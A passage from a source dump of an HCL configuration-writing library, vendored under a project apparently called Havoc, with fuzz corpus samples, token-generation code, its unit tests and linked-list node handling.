    "path": "teamserver/pkg/profile/yaotl/hclwrite/fuzz/config/corpus/block-empty.hcl",
    "content": "block {\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/hclwrite/fuzz/config/corpus/block-nested.hcl",
    "content": "block {\n  another_block {\n    foo = bar\n  }\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/hclwrite/fuzz/config/corpus/complex.hcl",
    "content": "a = foo.bar[1].baz[\"foo\"].pizza\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/hclwrite/fuzz/config/corpus/empty.hcl",
    "content": ""
  },
  {
    "path": "teamserver/pkg/profile/yaotl/hclwrite/fuzz/config/corpus/escape-dollar.hcl",
    "content": "a = \"hi $${var.foo}\"\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/hclwrite/fuzz/config/corpus/escape-newline.hcl",
    "content": "a = \"bar\\nbaz\"\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/hclwrite/fuzz/config/corpus/function-call-tmpl.hcl",
    "content": "a = \"b ${title(var.name)}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/hclwrite/fuzz/config/corpus/function-call.hcl",
    "content": "a = title(var.name)\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/hclwrite/fuzz/config/corpus/hash-comment.hcl",
    "content": "# another comment\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/hclwrite/fuzz/config/corpus/index.hcl",
    "content": "a = foo[1]\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/hclwrite/fuzz/config/corpus/int-tmpl.hcl",
    "content": "a = \"foo ${42}\"\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/hclwrite/fuzz/config/corpus/int.hcl",
    "content": "a = 42\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/hclwrite/fuzz/config/corpus/just-interp.hcl",
    "content": "a = \"${var.bar}\"\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/hclwrite/fuzz/config/corpus/literal.hcl",
    "content": "a = foo\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/hclwrite/fuzz/config/corpus/lots-of-comments.hcl",
    "content": "// comment\nblock {\n  // another comment\n  another_block { # comment\n    // comment\n    foo = bar\n  }\n\n  /* commented out block\n  blah {\n    bar = foo\n  }\n  */\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/hclwrite/fuzz/config/corpus/slash-comment.hcl",
    "content": "// comment\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/hclwrite/fuzz/config/corpus/splat-attr.hcl",
    "content": "a = foo.bar.*.baz\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/hclwrite/fuzz/config/corpus/splat-dot-full.hcl",
    "content": "a = foo.bar.*\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/hclwrite/fuzz/config/corpus/splat-full.hcl",
    "content": "a = foo.bar[*].baz\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/hclwrite/fuzz/config/corpus/traversal-dot-index-terminal.hcl",
    "content": "a = foo.bar.0\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/hclwrite/fuzz/config/corpus/traversal-dot-index.hcl",
    "content": "a = foo.bar.4.baz\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/hclwrite/fuzz/config/corpus/traversal-index.hcl",
    "content": "a = foo.bar[4].baz\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/hclwrite/fuzz/config/corpus/utf8.hcl",
    "content": "foo = \"föo ${föo(\"föo\")}\"\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/hclwrite/fuzz/config/corpus/var.hcl",
    "content": "a = var.bar\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/hclwrite/fuzz/config/fuzz.go",
    "content": "package fuzzconfig\n\nimport (\n    \"io/ioutil\"\n\n    \"Havoc/pkg/profile/yaotl\"\n    \"Havoc/pkg/profile/yaotl/hclwrite\"\n)\n\nfunc Fuzz(data []byte) int {\n    file, diags := hclwrite.ParseConfig(data, \"<fuzz-conf>\", hcl.Pos{Line: 1, Column: 1})\n\n    if diags.HasErrors() {\n        return 0\n    }\n\n    _, err := file.WriteTo(ioutil.Discard)\n\n    if err != nil {\n        return 0\n    }\n\n    return 1\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/hclwrite/generate.go",
    "content": "package hclwrite\n\nimport (\n    \"fmt\"\n    \"unicode\"\n    \"unicode/utf8\"\n\n    \"Havoc/pkg/profile/yaotl\"\n    \"Havoc/pkg/profile/yaotl/hclsyntax\"\n    \"github.com/zclconf/go-cty/cty\"\n)\n\n// TokensForValue returns a sequence of tokens that represents the given\n// constant value.\n//\n// This function only supports types that are used by HCL. In particular, it\n// does not support capsule types and will panic if given one.\n//\n// It is not possible to express an unknown value in source code, so this\n// function will panic if the given value is unknown or contains any unknown\n// values. A caller can call the value's IsWhollyKnown method to verify that\n// no unknown values are present before calling TokensForValue.\nfunc TokensForValue(val cty.Value) Tokens {\n    toks := appendTokensForValue(val, nil)\n    format(toks) // fiddle with the SpacesBefore field to get canonical spacing\n    return toks\n}\n\n// TokensForTraversal returns a sequence of tokens that represents the given\n// traversal.\n//\n// If the traversal is absolute then the result is a self-contained, valid\n// reference expression. If the traversal is relative then the returned tokens\n// could be appended to some other expression tokens to traverse into the\n// represented expression.\nfunc TokensForTraversal(traversal hcl.Traversal) Tokens {\n    toks := appendTokensForTraversal(traversal, nil)\n    format(toks) // fiddle with the SpacesBefore field to get canonical spacing\n    return toks\n}\n\nfunc appendTokensForValue(val cty.Value, toks Tokens) Tokens {\n    switch {\n\n    case !val.IsKnown():\n        panic(\"cannot produce tokens for unknown value\")\n\n    case val.IsNull():\n        toks = append(toks, &Token{\n            Type:  hclsyntax.TokenIdent,\n            Bytes: []byte(`null`),\n        })\n\n    case val.Type() == cty.Bool:\n        var src []byte\n        if val.True() {\n            src = []byte(`true`)\n        } else {\n            src = []byte(`false`)\n        }\n        toks = append(toks, &Token{\n            Type:  hclsyntax.TokenIdent,\n            Bytes: src,\n        })\n\n    case val.Type() == cty.Number:\n        bf := val.AsBigFloat()\n        srcStr := bf.Text('f', -1)\n        toks = append(toks, &Token{\n            Type:  hclsyntax.TokenNumberLit,\n            Bytes: []byte(srcStr),\n        })\n\n    case val.Type() == cty.String:\n        // TODO: If it's a multi-line string ending in a newline, format\n        // it as a HEREDOC instead.\n        src := escapeQuotedStringLit(val.AsString())\n        toks = append(toks, &Token{\n            Type:  hclsyntax.TokenOQuote,\n            Bytes: []byte{'\"'},\n        })\n        if len(src) > 0 {\n            toks = append(toks, &Token{\n                Type:  hclsyntax.TokenQuotedLit,\n                Bytes: src,\n            })\n        }\n        toks = append(toks, &Token{\n            Type:  hclsyntax.TokenCQuote,\n            Bytes: []byte{'\"'},\n        })\n\n    case val.Type().IsListType() || val.Type().IsSetType() || val.Type().IsTupleType():\n        toks = append(toks, &Token{\n            Type:  hclsyntax.TokenOBrack,\n            Bytes: []byte{'['},\n        })\n\n        i := 0\n        for it := val.ElementIterator(); it.Next(); {\n            if i > 0 {\n                toks = append(toks, &Token{\n                    Type:  hclsyntax.TokenComma,\n                    Bytes: []byte{','},\n                })\n            }\n            _, eVal := it.Element()\n            toks = appendTokensForValue(eVal, toks)\n            i++\n        }\n\n        toks = append(toks, &Token{\n            Type:  hclsyntax.TokenCBrack,\n            Bytes: []byte{']'},\n        })\n\n    case val.Type().IsMapType() || val.Type().IsObjectType():\n        toks = append(toks, &Token{\n            Type:  hclsyntax.TokenOBrace,\n            Bytes: []byte{'{'},\n        })\n        if val.LengthInt() > 0 {\n            toks = append(toks, &Token{\n                Type:  hclsyntax.TokenNewline,\n                Bytes: []byte{'\\n'},\n            })\n        }\n\n        i := 0\n        for it := val.ElementIterator(); it.Next(); {\n            eKey, eVal := it.Element()\n            if hclsyntax.ValidIdentifier(eKey.AsString()) {\n                toks = append(toks, &Token{\n                    Type:  hclsyntax.TokenIdent,\n                    Bytes: []byte(eKey.AsString()),\n                })\n            } else {\n                toks = appendTokensForValue(eKey, toks)\n            }\n            toks = append(toks, &Token{\n                Type:  hclsyntax.TokenEqual,\n                Bytes: []byte{'='},\n            })\n            toks = appendTokensForValue(eVal, toks)\n            toks = append(toks, &Token{\n                Type:  hclsyntax.TokenNewline,\n                Bytes: []byte{'\\n'},\n            })\n            i++\n        }\n\n        toks = append(toks, &Token{\n            Type:  hclsyntax.TokenCBrace,\n            Bytes: []byte{'}'},\n        })\n\n    default:\n        panic(fmt.Sprintf(\"cannot produce tokens for %#v\", val))\n    }\n\n    return toks\n}\n\nfunc appendTokensForTraversal(traversal hcl.Traversal, toks Tokens) Tokens {\n    for _, step := range traversal {\n        toks = appendTokensForTraversalStep(step, toks)\n    }\n    return toks\n}\n\nfunc appendTokensForTraversalStep(step hcl.Traverser, toks Tokens) Tokens {\n    switch ts := step.(type) {\n    case hcl.TraverseRoot:\n        toks = append(toks, &Token{\n            Type:  hclsyntax.TokenIdent,\n            Bytes: []byte(ts.Name),\n        })\n    case hcl.TraverseAttr:\n        toks = append(\n            toks,\n            &Token{\n                Type:  hclsyntax.TokenDot,\n                Bytes: []byte{'.'},\n            },\n            &Token{\n                Type:  hclsyntax.TokenIdent,\n                Bytes: []byte(ts.Name),\n            },\n        )\n    case hcl.TraverseIndex:\n        toks = append(toks, &Token{\n            Type:  hclsyntax.TokenOBrack,\n            Bytes: []byte{'['},\n        })\n        toks = appendTokensForValue(ts.Key, toks)\n        toks = append(toks, &Token{\n            Type:  hclsyntax.TokenCBrack,\n            Bytes: []byte{']'},\n        })\n    default:\n        panic(fmt.Sprintf(\"unsupported traversal step type %T\", step))\n    }\n\n    return toks\n}\n\nfunc escapeQuotedStringLit(s string) []byte {\n    if len(s) == 0 {\n        return nil\n    }\n    buf := make([]byte, 0, len(s))\n    for i, r := range s {\n        switch r {\n        case '\\n':\n            buf = append(buf, '\\\\', 'n')\n        case '\\r':\n            buf = append(buf, '\\\\', 'r')\n        case '\\t':\n            buf = append(buf, '\\\\', 't')\n        case '\"':\n            buf = append(buf, '\\\\', '\"')\n        case '\\\\':\n            buf = append(buf, '\\\\', '\\\\')\n        case '$', '%':\n            buf = appendRune(buf, r)\n            remain := s[i+1:]\n            if len(remain) > 0 && remain[0] == '{' {\n                // Double up our template introducer symbol to escape it.\n                buf = appendRune(buf, r)\n            }\n        default:\n            if !unicode.IsPrint(r) {\n                var fmted string\n                if r < 65536 {\n                    fmted = fmt.Sprintf(\"\\\\u%04x\", r)\n                } else {\n                    fmted = fmt.Sprintf(\"\\\\U%08x\", r)\n                }\n                buf = append(buf, fmted...)\n            } else {\n                buf = appendRune(buf, r)\n            }\n        }\n    }\n    return buf\n}\n\nfunc appendRune(b []byte, r rune) []byte {\n    l := utf8.RuneLen(r)\n    for i := 0; i < l; i++ {\n        b = append(b, 0) // make room at the end of our buffer\n    }\n    ch := b[len(b)-l:]\n    utf8.EncodeRune(ch, r)\n    return b\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/hclwrite/generate_test.go",
    "content": "package hclwrite\n\nimport (\n    \"bytes\"\n    \"math/big\"\n    \"testing\"\n\n    \"github.com/google/go-cmp/cmp\"\n    \"Havoc/pkg/profile/yaotl\"\n    \"Havoc/pkg/profile/yaotl/hclsyntax\"\n    \"github.com/zclconf/go-cty/cty\"\n)\n\nfunc TestTokensForValue(t *testing.T) {\n    tests := []struct {\n        Val  cty.Value\n        Want Tokens\n    }{\n        {\n            cty.NullVal(cty.DynamicPseudoType),\n            Tokens{\n                {\n                    Type:  hclsyntax.TokenIdent,\n                    Bytes: []byte(`null`),\n                },\n            },\n        },\n        {\n            cty.True,\n            Tokens{\n                {\n                    Type:  hclsyntax.TokenIdent,\n                    Bytes: []byte(`true`),\n                },\n            },\n        },\n        {\n            cty.False,\n            Tokens{\n                {\n                    Type:  hclsyntax.TokenIdent,\n                    Bytes: []byte(`false`),\n                },\n            },\n        },\n        {\n            cty.NumberIntVal(0),\n            Tokens{\n                {\n                    Type:  hclsyntax.TokenNumberLit,\n                    Bytes: []byte(`0`),\n                },\n            },\n        },\n        {\n            cty.NumberFloatVal(0.5),\n            Tokens{\n                {\n                    Type:  hclsyntax.TokenNumberLit,\n                    Bytes: []byte(`0.5`),\n                },\n            },\n        },\n        {\n            cty.NumberVal(big.NewFloat(0).SetPrec(512).Mul(big.NewFloat(40000000), big.NewFloat(2000000))),\n            Tokens{\n                {\n                    Type:  hclsyntax.TokenNumberLit,\n                    Bytes: []byte(`80000000000000`),\n                },\n            },\n        },\n        {\n            cty.StringVal(\"\"),\n            Tokens{\n                {\n                    Type:  hclsyntax.TokenOQuote,\n                    Bytes: []byte(`\"`),\n                },\n                {\n                    Type:  hclsyntax.TokenCQuote,\n                    Bytes: []byte(`\"`),\n                },\n            },\n        },\n        {\n            cty.StringVal(\"foo\"),\n            Tokens{\n                {\n                    Type:  hclsyntax.TokenOQuote,\n                    Bytes: []byte(`\"`),\n                },\n                {\n                    Type:  hclsyntax.TokenQuotedLit,\n                    Bytes: []byte(`foo`),\n                },\n                {\n                    Type:  hclsyntax.TokenCQuote,\n                    Bytes: []byte(`\"`),\n                },\n            },\n        },\n        {\n            cty.StringVal(`\"foo\"`),\n            Tokens{\n                {\n                    Type:  hclsyntax.TokenOQuote,\n                    Bytes: []byte(`\"`),\n                },\n                {\n                    Type:  hclsyntax.TokenQuotedLit,\n                    Bytes: []byte(`\\\"foo\\\"`),\n                },\n                {\n                    Type:  hclsyntax.TokenCQuote,\n                    Bytes: []byte(`\"`),\n                },\n            },\n        },\n        {\n            cty.StringVal(\"hello\\nworld\\n\"),\n            Tokens{\n                {\n                    Type:  hclsyntax.TokenOQuote,\n                    Bytes: []byte(`\"`),\n                },\n                {\n                    Type:  hclsyntax.TokenQuotedLit,\n                    Bytes: []byte(`hello\\nworld\\n`),\n                },\n                {\n                    Type:  hclsyntax.TokenCQuote,\n                    Bytes: []byte(`\"`),\n                },\n            },\n        },\n        {\n            cty.StringVal(\"hello\\r\\nworld\\r\\n\"),\n            Tokens{\n                {\n                    Type:  hclsyntax.TokenOQuote,\n                    Bytes: []byte(`\"`),\n                },\n                {\n                    Type:  hclsyntax.TokenQuotedLit,\n                    Bytes: []byte(`hello\\r\\nworld\\r\\n`),\n                },\n                {\n                    Type:  hclsyntax.TokenCQuote,\n                    Bytes: []byte(`\"`),\n                },\n            },\n        },\n        {\n            cty.StringVal(`what\\what`),\n            Tokens{\n                {\n                    Type:  hclsyntax.TokenOQuote,\n                    Bytes: []byte(`\"`),\n                },\n                {\n                    Type:  hclsyntax.TokenQuotedLit,\n                    Bytes: []byte(`what\\\\what`),\n                },\n                {\n                    Type:  hclsyntax.TokenCQuote,\n                    Bytes: []byte(`\"`),\n                },\n            },\n        },\n        {\n            cty.StringVal(\"𝄞\"),\n            Tokens{\n                {\n                    Type:  hclsyntax.TokenOQuote,\n                    Bytes: []byte(`\"`),\n                },\n                {\n                    Type:  hclsyntax.TokenQuotedLit,\n                    Bytes: []byte(\"𝄞\"),\n                },\n                {\n                    Type:  hclsyntax.TokenCQuote,\n                    Bytes: []byte(`\"`),\n                },\n            },\n        },\n        {\n            cty.StringVal(\"👩🏾\"),\n            Tokens{\n                {\n                    Type:  hclsyntax.TokenOQuote,\n                    Bytes: []byte(`\"`),\n                },\n                {\n                    Type:  hclsyntax.TokenQuotedLit,\n                    Bytes: []byte(`👩🏾`),\n                },\n                {\n                    Type:  hclsyntax.TokenCQuote,\n                    Bytes: []byte(`\"`),\n                },\n            },\n        },\n        {\n            cty.EmptyTupleVal,\n            Tokens{\n                {\n                    Type:  hclsyntax.TokenOBrack,\n                    Bytes: []byte(`[`),\n                },\n                {\n                    Type:  hclsyntax.TokenCBrack,\n                    Bytes: []byte(`]`),\n                },\n            },\n        },\n        {\n            cty.TupleVal([]cty.Value{cty.EmptyTupleVal}),\n            Tokens{\n                {\n                    Type:  hclsyntax.TokenOBrack,\n                    Bytes: []byte(`[`),\n                },\n                {\n                    Type:  hclsyntax.TokenOBrack,\n                    Bytes: []byte(`[`),\n                },\n                {\n                    Type:  hclsyntax.TokenCBrack,\n                    Bytes: []byte(`]`),\n                },\n                {\n                    Type:  hclsyntax.TokenCBrack,\n                    Bytes: []byte(`]`),\n                },\n            },\n        },\n        {\n            cty.ListValEmpty(cty.String),\n            Tokens{\n                {\n                    Type:  hclsyntax.TokenOBrack,\n                    Bytes: []byte(`[`),\n                },\n                {\n                    Type:  hclsyntax.TokenCBrack,\n                    Bytes: []byte(`]`),\n                },\n            },\n        },\n        {\n            cty.SetValEmpty(cty.Bool),\n            Tokens{\n                {\n                    Type:  hclsyntax.TokenOBrack,\n                    Bytes: []byte(`[`),\n                },\n                {\n                    Type:  hclsyntax.TokenCBrack,\n                    Bytes: []byte(`]`),\n                },\n            },\n        },\n        {\n            cty.TupleVal([]cty.Value{cty.True}),\n            Tokens{\n                {\n                    Type:  hclsyntax.TokenOBrack,\n                    Bytes: []byte(`[`),\n                },\n                {\n                    Type:  hclsyntax.TokenIdent,\n                    Bytes: []byte(`true`),\n                },\n                {\n                    Type:  hclsyntax.TokenCBrack,\n                    Bytes: []byte(`]`),\n                },\n            },\n        },\n        {\n            cty.TupleVal([]cty.Value{cty.True, cty.NumberIntVal(0)}),\n            Tokens{\n                {\n                    Type:  hclsyntax.TokenOBrack,\n                    Bytes: []byte(`[`),\n                },\n                {\n                    Type:  hclsyntax.TokenIdent,\n                    Bytes: []byte(`true`),\n                },\n                {\n                    Type:  hclsyntax.TokenComma,\n                    Bytes: []byte(`,`),\n                },\n                {\n                    Type:         hclsyntax.TokenNumberLit,\n                    Bytes:        []byte(`0`),\n                    SpacesBefore: 1,\n                },\n                {\n                    Type:  hclsyntax.TokenCBrack,\n                    Bytes: []byte(`]`),\n                },\n            },\n        },\n        {\n            cty.EmptyObjectVal,\n            Tokens{\n                {\n                    Type:  hclsyntax.TokenOBrace,\n                    Bytes: []byte(`{`),\n                },\n                {\n                    Type:  hclsyntax.TokenCBrace,\n                    Bytes: []byte(`}`),\n                },\n            },\n        },\n        {\n            cty.MapValEmpty(cty.Bool),\n            Tokens{\n                {\n                    Type:  hclsyntax.TokenOBrace,\n                    Bytes: []byte(`{`),\n                },\n                {\n                    Type:  hclsyntax.TokenCBrace,\n                    Bytes: []byte(`}`),\n                },\n            },\n        },\n        {\n            cty.ObjectVal(map[string]cty.Value{\n                \"foo\": cty.True,\n            }),\n            Tokens{\n                {\n                    Type:  hclsyntax.TokenOBrace,\n                    Bytes: []byte(`{`),\n                },\n                {\n                    Type:  hclsyntax.TokenNewline,\n                    Bytes: []byte(\"\\n\"),\n                },\n                {\n                    Type:         hclsyntax.TokenIdent,\n                    Bytes:        []byte(`foo`),\n                    SpacesBefore: 2,\n                },\n                {\n                    Type:         hclsyntax.TokenEqual,\n                    Bytes:        []byte(`=`),\n                    SpacesBefore: 1,\n                },\n                {\n                    Type:         hclsyntax.TokenIdent,\n                    Bytes:        []byte(`true`),\n                    SpacesBefore: 1,\n                },\n                {\n                    Type:  hclsyntax.TokenNewline,\n                    Bytes: []byte(\"\\n\"),\n                },\n                {\n                    Type:  hclsyntax.TokenCBrace,\n                    Bytes: []byte(`}`),\n                },\n            },\n        },\n        {\n            cty.ObjectVal(map[string]cty.Value{\n                \"foo\": cty.True,\n                \"bar\": cty.NumberIntVal(0),\n            }),\n            Tokens{\n                {\n                    Type:  hclsyntax.TokenOBrace,\n                    Bytes: []byte(`{`),\n                },\n                {\n                    Type:  hclsyntax.TokenNewline,\n                    Bytes: []byte(\"\\n\"),\n                },\n                {\n                    Type:         hclsyntax.TokenIdent,\n                    Bytes:        []byte(`bar`),\n                    SpacesBefore: 2,\n                },\n                {\n                    Type:         hclsyntax.TokenEqual,\n                    Bytes:        []byte(`=`),\n                    SpacesBefore: 1,\n                },\n                {\n                    Type:         hclsyntax.TokenNumberLit,\n                    Bytes:        []byte(`0`),\n                    SpacesBefore: 1,\n                },\n                {\n                    Type:  hclsyntax.TokenNewline,\n                    Bytes: []byte(\"\\n\"),\n                },\n                {\n                    Type:         hclsyntax.TokenIdent,\n                    Bytes:        []byte(`foo`),\n                    SpacesBefore: 2,\n                },\n                {\n                    Type:         hclsyntax.TokenEqual,\n                    Bytes:        []byte(`=`),\n                    SpacesBefore: 1,\n                },\n                {\n                    Type:         hclsyntax.TokenIdent,\n                    Bytes:        []byte(`true`),\n                    SpacesBefore: 1,\n                },\n                {\n                    Type:  hclsyntax.TokenNewline,\n                    Bytes: []byte(\"\\n\"),\n                },\n                {\n                    Type:  hclsyntax.TokenCBrace,\n                    Bytes: []byte(`}`),\n                },\n            },\n        },\n        {\n            cty.ObjectVal(map[string]cty.Value{\n                \"foo bar\": cty.True,\n            }),\n            Tokens{\n                {\n                    Type:  hclsyntax.TokenOBrace,\n                    Bytes: []byte(`{`),\n                },\n                {\n                    Type:  hclsyntax.TokenNewline,\n                    Bytes: []byte(\"\\n\"),\n                },\n                {\n                    Type:         hclsyntax.TokenOQuote,\n                    Bytes:        []byte(`\"`),\n                    SpacesBefore: 2,\n                },\n                {\n                    Type:  hclsyntax.TokenQuotedLit,\n                    Bytes: []byte(`foo bar`),\n                },\n                {\n                    Type:  hclsyntax.TokenCQuote,\n                    Bytes: []byte(`\"`),\n                },\n                {\n                    Type:         hclsyntax.TokenEqual,\n                    Bytes:        []byte(`=`),\n                    SpacesBefore: 1,\n                },\n                {\n                    Type:         hclsyntax.TokenIdent,\n                    Bytes:        []byte(`true`),\n                    SpacesBefore: 1,\n                },\n                {\n                    Type:  hclsyntax.TokenNewline,\n                    Bytes: []byte(\"\\n\"),\n                },\n                {\n                    Type:  hclsyntax.TokenCBrace,\n                    Bytes: []byte(`}`),\n                },\n            },\n        },\n    }\n\n    for _, test := range tests {\n        t.Run(test.Val.GoString(), func(t *testing.T) {\n            got := TokensForValue(test.Val)\n\n            if !cmp.Equal(got, test.Want) {\n                diff := cmp.Diff(got, test.Want, cmp.Comparer(func(a, b []byte) bool {\n                    return bytes.Equal(a, b)\n                }))\n                var gotBuf, wantBuf bytes.Buffer\n                got.WriteTo(&gotBuf)\n                test.Want.WriteTo(&wantBuf)\n                t.Errorf(\n                    \"wrong result\\nvalue: %#v\\ngot:   %s\\nwant:  %s\\ndiff:  %s\",\n                    test.Val, gotBuf.String(), wantBuf.String(), diff,\n                )\n            }\n        })\n    }\n}\n\nfunc TestTokensForTraversal(t *testing.T) {\n    tests := []struct {\n        Val  hcl.Traversal\n        Want Tokens\n    }{\n        {\n            hcl.Traversal{\n                hcl.TraverseRoot{Name: \"root\"},\n                hcl.TraverseAttr{Name: \"attr\"},\n                hcl.TraverseIndex{Key: cty.StringVal(\"index\")},\n            },\n            Tokens{\n                {Type: hclsyntax.TokenIdent, Bytes: []byte(\"root\")},\n                {Type: hclsyntax.TokenDot, Bytes: []byte(\".\")},\n                {Type: hclsyntax.TokenIdent, Bytes: []byte(\"attr\")},\n                {Type: hclsyntax.TokenOBrack, Bytes: []byte{'['}},\n                {Type: hclsyntax.TokenOQuote, Bytes: []byte(`\"`)},\n                {Type: hclsyntax.TokenQuotedLit, Bytes: []byte(\"index\")},\n                {Type: hclsyntax.TokenCQuote, Bytes: []byte(`\"`)},\n                {Type: hclsyntax.TokenCBrack, Bytes: []byte{']'}},\n            },\n        },\n    }\n\n    for _, test := range tests {\n        got := TokensForTraversal(test.Val)\n\n        if !cmp.Equal(got, test.Want) {\n            diff := cmp.Diff(got, test.Want, cmp.Comparer(func(a, b []byte) bool {\n                return bytes.Equal(a, b)\n            }))\n            var gotBuf, wantBuf bytes.Buffer\n            got.WriteTo(&gotBuf)\n            test.Want.WriteTo(&wantBuf)\n            t.Errorf(\n                \"wrong result\\nvalue: %#v\\ngot:   %s\\nwant:  %s\\ndiff:  %s\",\n                test.Val, gotBuf.String(), wantBuf.String(), diff,\n            )\n        }\n    }\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/hclwrite/native_node_sorter.go",
    "content": "package hclwrite\n\nimport (\n    \"Havoc/pkg/profile/yaotl/hclsyntax\"\n)\n\ntype nativeNodeSorter struct {\n    Nodes []hclsyntax.Node\n}\n\nfunc (s nativeNodeSorter) Len() int {\n    return len(s.Nodes)\n}\n\nfunc (s nativeNodeSorter) Less(i, j int) bool {\n    rangeI := s.Nodes[i].Range()\n    rangeJ := s.Nodes[j].Range()\n    return rangeI.Start.Byte < rangeJ.Start.Byte\n}\n\nfunc (s nativeNodeSorter) Swap(i, j int) {\n    s.Nodes[i], s.Nodes[j] = s.Nodes[j], s.Nodes[i]\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/hclwrite/node.go",
    "content": "package hclwrite\n\nimport (\n\t\"fmt\"\n\n\t\"github.com/google/go-cmp/cmp\"\n)\n\n// node represents a node in the AST.\ntype node struct {\n\tcontent nodeContent\n\n\tlist          *nodes\n\tbefore, after *node\n}\n\nfunc newNode(c nodeContent) *node {\n\treturn &node{\n\t\tcontent: c,\n\t}\n}\n\nfunc (n *node) Equal(other *node) bool {\n\treturn cmp.Equal(n.content, other.content)\n}\n\nfunc (n *node) BuildTokens(to Tokens) Tokens {\n\treturn n.content.BuildTokens(to)\n}\n\n// Detach removes the receiver from the list it currently belongs to. If the\n// node is not currently in a list, this is a no-op.\nfunc (n *node) Detach() {\n\tif n.list == nil {\n\t\treturn\n\t}\n\tif n.before != nil {\n\t\tn.before.after = n.after\n\t}\n\tif n.after != nil {\n\t\tn.after.before = n.before\n\t}\n\tif n.list.first == n {\n\t\tn.list.first = n.after\n\t}\n\tif n.list.last == n {\n\t\tn.list.last = n.before\n\t}\n\tn.list = nil\n\tn.before = nil\n\tn.after = nil\n}\n\n// ReplaceWith removes the receiver from the list it currently belongs to and\n// inserts a new node with the given content in its place. If the node is not\n// currently in a list, this function will panic.\n//\n// The return value is the newly-constructed node, containing the given content.\n// After this function returns, the receiver is no longer attached to a list.\nfunc (n *node) ReplaceWith(c nodeContent) *node {\n\tif n.list == nil {\n\t\tpanic(\"can't replace node that is not in a list\")\n\t}\n\n\tbefore := n.before\n\tafter := n.after\n\tlist := n.list\n\tn.before, n.after, n.list = nil, nil, nil\n\n\tnn := newNode(c)\n\tnn.before = before\n\tnn.after = after\n\tnn.list = list\n\tif before != nil {\n\t\tbefore.after = nn\n\t}\n\tif after != nil {\n\t\tafter.before = nn\n\t}\n\treturn nn\n}\n\nfunc (n *node) assertUnattached() {\n\tif n.list != nil {\n\t\tpanic(fmt.Sprintf(\"attempt to attach already-attached node %#v\", n))\n\t}\n}\n\n// nodeContent is the interface type implemented by all AST content types.\ntype nodeContent interface {\n\twalkChildNodes(w internalWalkFunc)\n\tBuildTokens(to Tokens) Tokens\n}\n\n// nodes is a list of nodes.\ntype nodes struct {\n\tfirst, last *node\n}\n\nfunc (ns *nodes) BuildTokens(to Tokens) Tokens {\n\tfor n := ns.first; n != nil; n = n.after {\n\t\tto = n.BuildTokens(to)\n\t}\n\treturn to\n}\n\nfunc (ns *nodes) Clear() {\n\tns.first = nil\n\tns.last = nil\n}\n\nfunc (ns *nodes) Append(c nodeContent) *node {\n\tn := &node{\n\t\tcontent: c,\n\t}\n\tns.AppendNode(n)\n\tn.list = ns\n\treturn n\n}\n\nfunc (ns *nodes) AppendNode(n *node) {\n\tif ns.last != nil {\n\t\tn.before = ns.last\n\t\tns.last.after = n\n\t}\n\tn.list = ns\n\tns.last = n\n\tif ns.first == nil {\n\t\tns.first = n\n\t}\n}\n\n// Insert inserts a nodeContent at a given position.\n// This is just a wrapper for InsertNode. See InsertNode for details.\nfunc (ns *nodes) Insert(pos *node, c nodeContent) *node {\n\tn := &node{\n\t\tcontent: c,\n\t}\n\tns.InsertNode(pos, n)\n\tn.list = ns\n\treturn n\n}\n\n// InsertNode inserts a node at a given position.\n// The first argument is a node reference before which to insert.\n// To insert it to an empty list, set position to nil.\nfunc (ns *nodes) InsertNode(pos *node, n *node) {\n\tif pos == nil {\n\t\t// inserts n to empty list.\n\t\tns.first = n\n\t\tns.last = n\n\t} else {\n\t\t// inserts n before pos.\n\t\tpos.before.after = n\n\t\tn.before = pos.before\n\t\tpos.before = n\n\t\tn.after = pos\n\t}\n\n\tn.list = ns\n}\n\nfunc (ns *nodes) AppendUnstructuredTokens(tokens Tokens) *node {\n\tif len(tokens) == 0 {\n\t\treturn nil\n\t}\n\tn := newNode(tokens)\n\tns.AppendNode(n)\n\tn.list = ns\n\treturn n\n}\n\n// FindNodeWithContent searches the nodes for a node whose content equals\n// the given content. If it finds one then it returns it. Otherwise it returns\n// nil.\nfunc (ns *nodes) FindNodeWithContent(content nodeContent) *node {\n\tfor n := ns.first; n != nil; n = n.after {\n\t\tif n.content == content {\n\t\t\treturn n\n\t\t}\n\t}\n\treturn nil\n}\n\n// nodeSet is an unordered set of nodes. It is used to describe a set of nodes\n// that all belong to the same list that have some role or characteristic\n// in common.\ntype nodeSet map[*node]struct{}\n\nfunc newNodeSet() nodeSet {\n\treturn make(nodeSet)\n}\n\nfunc (ns nodeSet) Has(n *node) bool {\n\tif ns == nil {\n\t\treturn false\n\t}\n\t_, exists := ns[n]\n\treturn exists\n}\n\nfunc (ns nodeSet) Add(n *node) {\n\tns[n] = struct{}{}\n}\n\nfunc (ns nodeSet) Remove(n *node) {\n\tdelete(ns, n)\n}\n\nfunc (ns nodeSet) Clear() {\n\tfor n := range ns {\n\t\tdelete(ns, n)\n\t}\n}\n\nfunc (ns nodeSet) List() []*node {\n\tif len(ns) == 0 {\n\t\treturn nil\n\t}\n\n\tret := make([]*node, 0, len(ns))\n\n\t// Determine which list we are working with. We assume here that all of\n\t// the nodes belong to the same list, since 